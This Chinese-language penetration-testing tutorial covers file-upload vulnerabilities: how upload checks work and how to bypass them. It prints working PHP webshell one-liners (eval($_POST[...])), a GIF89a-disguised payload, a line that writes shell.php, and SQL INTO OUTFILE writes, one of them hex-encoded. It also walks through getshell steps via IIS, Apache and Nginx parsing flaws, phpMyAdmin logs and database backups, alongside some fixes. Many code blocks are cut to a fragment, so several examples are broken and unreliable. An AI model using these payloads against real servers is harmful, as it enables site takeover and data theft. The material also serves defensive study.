文件上傳漏洞是web安全中經常利用到的一種漏洞形式。一些web應用程序中允許上傳圖片,文本或者其他資源到指定的位置,文件上傳漏洞就是利用這些可以上傳的地方將惡意代碼植入到服務器中,再通過url去訪問以執行代碼。
0x01文件上傳校驗姿勢
(1)客戶端javascript校驗(一般只校驗后綴名)
(2)服務端校驗
文件頭content-type字段校驗(image/gif)
文件內容頭校驗(GIF89a)
后綴名黑名單校驗
后綴名白名單校驗
自定義正則校驗
(3)WAF設備校驗(根據不同的WAF產品而定
客戶端校驗
一般都是在網頁上寫一段javascript腳本,校驗上傳文件的后綴名,有白名單形式也有黑名單形式。
判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時並沒有發送數據包。
服務端校驗
content-type字段校驗
這里以PHP代碼為例,模擬web服務器端的校驗代碼
1 |
<?php |
可以看到代碼對上傳文件的文件類型進行了判斷,如果不是圖片類型,返回錯誤。
文件頭校驗
可以通過自己寫正則匹配,判斷文件頭內容是否符合要求,這里舉幾個常見的文件頭對應關系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
0x02文件上傳繞過校驗姿勢
(1)客戶端繞過(抓包改包)
(2)服務端繞過
文件類型
文件頭
文件后綴名
(3)配合文件包含漏洞繞過
(4)配合服務器解析漏洞繞過
(4)CMS、編輯器漏洞繞過
(5)配合操作系統文件命名規則繞過
(6)配合其他規則繞過
(7)WAF繞過
客戶端繞過
可以利用burp抓包改包,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可。
服務端繞過
文件類型繞過
我們可以通過抓包,將content-type字段改為image/gif
1 |
POST /upload.php HTTP/1.1 |
文件頭繞過
在木馬內容基礎上再加了一些文件信息,有點像下面的結構
1 |
GIF89a<?php phpinfo(); ?> |
文件后綴名繞過
前提:黑名單校驗
黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件。
繞過方法:
(1)找黑名單擴展名的漏網之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
配合文件包含漏洞
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬。
繞過方式:(這里拿php為例,此漏洞主要存在於PHP中)
(1)先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(2)然后再上傳一個.php的文件,內容為
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:
1 |
#PHP |
配合服務器解析漏洞
IIS5.X-6.X解析漏洞
使用iis5.x-6.x版本的服務器,大多為windows server 2003,網站比較古老,開發語句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。
目錄解析(6.0)
形式:http://www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp,.asa目錄下的文件都解析成asp文件。
文件解析
形式:http://www.xxx.com/xx.asp;.jpg
原理:服務器默認不解析;號后面的內容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件類型
IIS6.0 默認的可執行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
修復方案
1.目前尚無微軟官方的補丁,可以通過自己編寫正則,阻止上傳xx.asp;.jpg類型的文件名。
2.做好權限設置,限制用戶創建文件夾。
APACHE解析漏洞
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如 test.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。
漏洞形式
http://www.xxxx.xxx.com/test.php.php123
其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣能以 php 方式執行。
(3)Apache解析漏洞(CVE-2017-15715)繞過上傳黑名單
我們利用CVE-2017-15715,上傳一個包含換行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我們用hex功能在1.php后面添加一個\x0A:
然后訪問/1.php%0A,即可發現已經成功getshell:
修復方案
(1)apache配置文件,禁止.php.這樣的文件執行,配置文件里面加入
1 |
<Files ~ “.(php.|php3.)”> |
(2)用偽靜態能解決這個問題,重寫類似.php.*這類文件,打開apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號去掉,重啟apache,在網站根目錄下建立.htaccess文件,代碼如下:
1 |
<IfModule mod_rewrite.c> |
NGINX<8.03解析漏洞
Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問http://www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”,然后構造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什么會接受這樣的參數,並將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項,那么就會觸發在PHP中的如下邏輯:
PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP文件來解析了
漏洞形式
http://www.xxxx.com/UploadFiles/image/1.jpg/1.php
http://www.xxxx.com/UploadFiles/image/1.jpg%00.php
http://www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一種手法
上傳一個名字為test.jpg,以下內容的文件。
1 |
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
修復方案
(1)修改php.ini文件,將cgi.fix_pathinfo的值設置為0;
(2)在Nginx配置文件中添加以下代碼:
1 |
if ( $fastcgi_script_name ~ ..*/.*php ) { |
這行代碼的意思是當匹配到類似test.jpg/a.php的URL時,將返回403錯誤代碼。
IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類似,都是由於php配置文件中,開啟了cgi.fix_pathinfo,而這並不是nginx或者iis7.5本身的漏洞。
配合操作系統文件命令規則
上傳不符合WINDOWS文件命名規則的文件名
test.asp.
test.asp(空格)
test.php:1.jpg之后傳輸數據流test.<<
test.php::$DATA
shell.php::$DATA…….
會被windows系統自動去掉不符合規則符號后面的內容。
LINUX下后綴名大小寫
在linux下,如果上傳php不被解析,可以試試上傳pHp后綴的文件名。
CMS、編輯器漏洞
(1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。
(2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。
后台管理數據備份拿Shell
第一步:上傳一句話,記錄文件地址
第二步:備份數據庫,將地址換成木馬上傳的地址,備份
第三步:重命名,將圖片格式的換成php,asp,jsp格式的
第四步:如果備份數據庫路徑不能改的話
解決辦法:(1)抓包工具修改地址
(2)在前端HTML里面改
第五步:在設置頁面插入,注意語句的閉合
phpmyadmin
第一步:獲取網站的絕對路徑
報錯顯示路徑
phpinfo()顯示
第二步:找記錄日志的文件,開啟記錄日志
第三步:修改日志存放的路徑(網站的絕對路徑)
第四步:將php一句話木馬寫入日志
1 |
select "<?php eval($_POST['pass']);?>" |
SQL語句創建表寫入一句話
第一步:創建表,表里建一個列
1 |
creat table `mysql`.`biao`(`biao2` text not null); |
第二步:將一句話插入到表中
1 |
insert into `mysql`.`biao`(`biao2`)values('<?php @eval($_POST['pass']);?>') |
第四步:將表導出,知道網站的絕對路徑
1 |
select biao2 from biao into outfile '網站絕對路徑'; |
SQL語句寫入一句話
寫入文件一句話(網站絕對路徑)
1 |
select '<?php @eval($_POST[x]);?>' into outfile '網站絕對路徑\1.php'; |
有時用16進制寫入
1 |
select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e,2 into outfile '網站絕對路徑\1.php' |
讀取文件
1 |
select load_file('文件地址') |
配合其他規則
(1)0x00截斷(php 版本<5.3.4):基於一個組合邏輯漏洞造成的,通常存在於構造上傳文件路徑的時候
test.php(0x00).jpg
test.php%00.jpg
(2)JPG文件解析
上傳一個.htaccess文件:這樣整個文件夾里的jpg文件全部解析為php文件
1 |
<IfModule mode_rewrite.c> |